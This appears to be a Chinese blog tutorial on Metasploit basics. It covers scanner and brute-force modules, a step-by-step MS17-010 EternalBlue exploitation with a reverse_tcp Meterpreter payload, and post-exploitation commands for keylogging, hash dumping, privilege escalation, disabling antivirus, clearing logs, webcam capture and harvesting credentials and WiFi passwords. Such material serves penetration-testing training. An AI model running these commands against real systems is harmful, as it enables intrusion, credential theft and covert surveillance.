Metasploit基础

最新推荐文章于 2024-08-23 16:56:00 发布
最新推荐文章于 2024-08-23 16:56:00 发布
阅读量264 收藏 4
点赞数
分类专栏： Metasploit 工具 文章标签： msf metasploit 渗透测试 msf工具
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45605313/article/details/107211395
版权

Metasploit

MSF术语

  • 渗透攻击（Exploit）：攻击者利用系统，应用服务中的安全漏洞，进行的攻击行为。（缓存区溢出，web漏洞，配置错误等）
  • 攻击载荷（Payload）:在目标系统被渗透攻击之后而执行的代码。
  • 溢出代码（Shellcode）：在渗透攻击时作为国家载荷运行的机器指令。在shellcode执行后，才提供一个shell或meterpreter shell
  • 模块（Module）：MSF框架中所使用的一段代码组件。
  • 监听（Listener）：MSF中用来等带连入网络连接的组件

模块

  • Auxiliaries （辅助模块）:该模块不会直接在测试者和目标主机之间建立访问，它们只负责执行扫描、嗅 探、指纹识别等相关功能以辅助渗透测试
  • Exploit （漏洞利用模块）:漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞进行的 攻击行为。
  • Payload （攻击载荷模块 ）:攻击载荷是我们期望 目标系统在被渗透攻击之后完成实际攻击功能的代码，成 功渗透目标后，用于在目标系统上运行任意命令或者执行特定代码，在Metasploit框 架中可以自由地选择、传送和植入。
  • Post （后期渗透模块）:该模块主要用于在取得目标系统远程控制权后，进行一系列的后渗透攻击动作， 如获取敏感信息、实施跳板攻击等。
  • Encoders （编码工具模块）:该模块在渗透测试中负责免杀，以防止被杀毒软件、防火墙、 IDS及类似的安全 软件检测出来。

基础命令:

  • show exploits:寻找可用的渗透攻击模块.
  • show auxiliary:寻找辅助模块(扫描器,拒绝服务攻击,Fuzz测试等)
  • show options: 查看模块所需的所有参数配置.
  • show payloads :显示当前模块相兼容的攻击载荷
  • show targets:列出模块受漏洞影响的目标操作系统类型.
  • info :详细输出模块信息
  • set,unset:模块中有些参数为必填项(required),利用此命令设置参数,或禁用参数.
  • setg,unsetg:对全局参数进行设置或清除.
  • save :将setg命令设置的全局参数保存,以便下次开启msf使用

主机扫描

端口扫描

  • 使用search 搜索 portscan
    在这里插入图片描述
  • use加模块名或编号使用该模块,show options查看要设置的参数.
    在这里插入图片描述
  • set 参数名 参数内容,设置参数.run开始攻击
    在这里插入图片描述

辅助服务扫描模块

  • search搜索scanner 会有大量的扫描模块.

常见服务:

模块功能
auxiliary/scanner/portscan端口扫描
auxiliary/scanner/smb_versionSMB系统版本
auxiliary/scanner/smb/smb_enumuserssmb枚举
auxiliary/scanner/smb/smb_loginsmb弱口令登录
auxiliary/adrnin/smb/psexec_commandSMB 登录且执行命令
auxiliary/scanner/ssh/ssh_loginssh服务爆破
scanner/mssql/mssqI _pingMSSQL 主机信息扫描
admin/mssql/mssql_enumMSSQL 枚举
admin/rnssql/mssql_execMSSQL 执行命令
admin/mssql/mssql_sqlMSSQL 查询
scanner/mssql/rnssql_loginMSSQL 弱口令扫描
auxiliary/admin/mysql/mysql_enumMySQL 枚举
auxiliary/admin/mysql/rnysql_sqlMySQL 语句执行
auxiliary/scanner/mysql/mysql _loginMySQL 弱口令扫描
auxiliary/scanner/smtp/smtp_versionSMTP 版本扫描
auxiliary/scanner/smtp/smtp_enumSMTP 枚举
auxiliary/scanner/snmp/communitySNMP 扫描设备
auxiliary/scanner/telnet/telnet_loginTELNET 爆破
scanner/vnc/vnc_none_authVNC 空口令扫描
其他的一些爆破模块
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
auxiliary/scanner/ftp/anonymous

ms17-010 永恒之蓝

  1. 进入msfconsole,search ms17-010
    在这里插入图片描述
  2. 使用1模块:auxiliary/scanner/smb/smb_ms17_010 搜索存在漏洞的主机.
    在这里插入图片描述
  3. 设置参数,开始攻击,找到目标(IP:192.168.186.246. win 7)
    在这里插入图片描述
  4. 使用exploit/windows/smb/ms17_010_eternalblue 模块,show targets查看目标操作系统.
    在这里插入图片描述
  5. info查看详细信息,并设置参数.
    在这里插入图片描述
  6. 设置payload,show payloads 查看载荷.并设置为set payload windows/x64/meterpreter/reverse_tcp ,设置载荷相关参数.
    在这里插入图片描述
  7. run实施攻击
    在这里插入图片描述8. 输入shell得到拿到shell.
    在这里插入图片描述

Meterpreter

在使用meterpreter之前必须拿到一个meterpreter shell.

基本命令:

  • screenshot:截屏,截取目标用户的桌面
    在这里插入图片描述
    在这里插入图片描述

  • sysinfo:获取目标系统信息
    在这里插入图片描述

  • ps:获取目标系统运行的程序
    在这里插入图片描述

  • migrate:将会话移至某进程中.
    在这里插入图片描述

  • run post/windows/capture/keylog_recorder :获取键盘记录(CTRL C 终止)
    在这里插入图片描述
    在这里插入图片描述

  • 挖掘用户名密码：hashdump命令
    在这里插入图片描述

  • 权限提升：getsystem
    在这里插入图片描述
    在这里插入图片描述

命令含义
基本命令
background将终端隐藏在后台
sessions查看获取的会话,-i 命令继续与会话交互
quit关闭会话
shell获取目标系统的控制台shell
irb与ruby终端进行交互,也可通过附加组件railgun与windows API交互
文件命令
cat查看文件内容
getwd查看当前目录
upload上传文件
download下载文件(双斜杠)
edit调用vi编辑器对目标文件进行编辑
search搜索目标系统文件
网络命令
ipconfig目标网络接口信息
portfwd端口转发器(在目标端口开放不允许直接访问的情况下使用)
route目标路由信息
系统命令
ps目标正在运行的进程信息
migrate将会话移植到另一个进程中
execute执行目标系统的文件
getpid当前会话的pid值
kill终止指定的pid程序
getuid获取会话的用户名
sysinfo目标系统信息
shutdown关机
其他
禁止(允许)目标使用键盘uictl disable (enable) keyboard
禁止(允许)目标使用鼠标uictl disable (enable) mouse
run killav (post/windows/manage/killav).关闭杀毒软件
run post/windows/gather/enum_applications查看系统装的软件
execute执行程序或可执行文件
webcam_list获取目标系统的摄像头列表
webcam_snap从指定的摄像头，拍摄照片
webcam_stream从指定的摄像头，开启视频
load加载拓展库
clearev清除日志
session -u升级session 为 meterpreter shell
portfwd端口转发
run autoroute添加路由
use sniffer抓包
sniffer_interfaces查看网卡
sniffer_start 1选择网卡1开始抓包
sniffer_stats 1查看网卡1状态
sniffer_dump 1 /tmp/wlan1.pcap导出pcap数据包
sniffer_stop 1停止网卡1抓包
sniffer_release 1释放网卡1流量
run arp_scanner -r IP段  # 利用arp进行存活主机扫描
run winenum  # 自动化执行一些检测脚本
run credcollect # 获取用户hash
run domain_list_gen  # 获取域管理账户列表
run post/multi/gather/env  # 获取用户环境变量
run post/windows/gather/enum_logged_on_users -c  # 列出当前登录用户
run post/linux/gather/checkvm  # 是否虚拟机
run post/windows/gather/checkvm  # 是否虚拟机
run post/windows/gather/forensics/enum_drives  # 查看磁盘分区信息
run post/windows/gather/enum_applications  # 获取安装软件信息
run post/windows/gather/dumplinks   # 获取最近访问过的文档、链接信息
run post/windows/gather/enum_ie  # 获取IE缓存
run post/windows/gather/enum_firefox  # 获取firefox缓存
run post/windows/gather/enum_chrome   # 获取Chrome缓存
run post/multi/recon/local_exploit_suggester  # 获取本地提权漏洞
run post/windows/gather/enum_patches  # 获取补丁信息
run post/windows/gather/enum_domain  # 查找域控
run post/windows/gather/enum_snmp  # 获取snmp团体名称
run post/windows/gather/credentials/vnc  # 获取vnc密码
run post/windows/wlan/wlan_profile  # 用于读取目标主机WiFi密码
run post/multi/gather/wlan_geolocate # 基于wlan进行地理位置确认 文件位于/root/.msf4/loot
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/migrate           #自动进程迁移
run post/windows/gather/checkvm           #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav            #关闭杀毒软件
run post/windows/manage/enable_rdp        #开启远程桌面服务
run post/windows/manage/autoroute         #查看路由信息
run post/windows/gather/enum_logged_on_users    #列举当前登录的用户
run post/windows/gather/enum_applications       #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump         #导出密码
～～...
关注
专栏目录
Metasploit基础和基本命令详解
am_03的博客
01-03 1176
Metasploit基础 2003年H.D Moore创建了Metasploit，从那之后Metasploit便快速发展起来，如今被公认为最为流行的渗透测试工具之一。Metasploit是一个完全的Ruby驱动项目，提供了大量的漏洞渗透、攻击载荷（payload）、编码技术以及后渗透模块。 Metasploit提供了以下多版本： Metasploit Pro版 这是Metasploit的一个商业化版本，提供了大量的功能，例如Web应用程序扫描工具、渗透模块、自动化渗透工具，十分适合专业渗透测试工程师
metasploit
10-04
metasploit的使用教程，详细介绍了metasploit的方法
Metasploit基础----msfconsole
最新发布
weixin_53736204的博客
08-23 1156
MSF所⽤功能主要可分为这⼏个模块，每个模块都有各⾃的功能领域，形成了渗透测试的流程模块路径：/usr/share/metasploit-framework/modules/漏洞利⽤(exploit)：/usr/share/metasploit-framework/modules/exploitspayload模块路径：：/usr/share/metasploit-framework/modules/payloads。
Metasploit
THTBOOM的博客
08-31 1265
Metasploit MSF简介 Metasploit Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework，简称叫做MSF，Metasploit作为全球最受欢迎的工具，不仅仅是因为它的方便性和强大性，更重要的是它的框架。它允许使用者开发自己的漏洞脚本，从而进行测试。 专业术语 渗透攻击（exploit）：测试者利用系统、程...
Metasploit基础介绍与安装
Metasploit简介 ## 1.1 什么是Metasploit？ Metasploit是一个免费的、开放源代码的渗透测试工具，旨在帮助安全专家识别和利用安全漏洞。 ## 1.2 Metasploit的历史 Metasploit项目最初由H.D. Moore在2003年创建，...
METASPLOIT
子曰小玖的博客
04-22 225
正在上传…重新上传取消 TABLE OF CONTENTS METASPLOIT UNLEASHED DONATE – HELP FEED A CHILD INTRODUCTION METASPLOIT FUNDAMENTALS MSFCLI MSFCONSOLE MSFCONSOLE COMMANDS EXPLOITS USING EXPLOITS P...
Metasploit框架
Debroon
12-27 1662
Metasploit框架简介 Metasploit框架简称 MSF。 MSF 是免费的，下载后(Kali自带)可以获取、对计算机软件漏洞搞事情。 MSF 本身附带了数百个已知软件漏洞的专业漏洞工具，我们可以通过 MSF 快速发现漏洞并实施攻击，当然需要在授权的情况下，不然你惨了。 MSF 的功能由基本模块构成： Auxiliary (辅助模块) Exploits (攻击模块)...
metasploit 使用教程
热门推荐
jiangliuzheng的专栏
01-20 10万+
METASPLOIT基础入门 1、基础知识 1.1 简介 Metasploit是一款开源安全漏洞检测工具，附带数百个已知的软件漏洞，并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。 Metasploit Framework最初是 HD Moore 个人的想法，当时他在一家安全公司工作，他于2003年10月发布了第一个基于Perl的Metasp
Metasploit 介绍
Sylon的博客
06-24 2496
Metasploit介绍 Metasploit是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报。这些功能包括智能开发，代码审计，Web应用程序扫描，社会工程。团队合作，在Metasploit和综合报告提出了他们的发现。 Metasploit简称msf 2....
Metasploit框架基础教程
"Metasploit基础知识" Metasploit是一款强大的安全测试工具，它被广泛用于漏洞利用、渗透测试和安全研究。这个框架由各种接口组成，允许用户以不同的方式与其交互。本文将主要介绍Metasploit中的基础概念和一个重要...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值